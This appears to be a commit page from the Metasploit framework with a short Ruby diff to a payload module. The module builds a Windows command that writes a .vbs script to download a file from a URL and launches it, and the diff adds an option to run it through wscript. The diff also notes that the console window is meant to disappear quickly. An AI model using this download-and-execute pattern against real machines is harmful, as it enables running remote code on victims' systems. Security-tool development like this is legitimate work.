wscript necessary in certain contexts.
Also can avoid warnings in certain cases. git-svn-id: file:///home/svn/framework3/trunk@13166 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
d1cfa7560f
commit
7122ccbbd1
|
@ -40,6 +40,7 @@ module Metasploit3
|
|||
[
|
||||
OptString.new('URL', [ true, "The pre-encoded URL to the script" ]),
|
||||
OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]),
|
||||
OptBool.new('INCLUDEWSCRIPT', [ true, "Include the wscript command", false ]),
|
||||
OptBool.new('DELETE', [ true, "Delete created .vbs after download", false ])
|
||||
], self.class)
|
||||
end
|
||||
|
@ -64,7 +65,9 @@ module Metasploit3
|
|||
# "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window
|
||||
# disappears quickly before the wscript libraries load and the file downloads
|
||||
command << " >#{vbsname}.vbs"+
|
||||
"&start #{vbsname}.vbs"
|
||||
"&start "
|
||||
command << "wscript " if datastore['INCLUDEWSCRIPT']
|
||||
command << "#{vbsname}.vbs"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue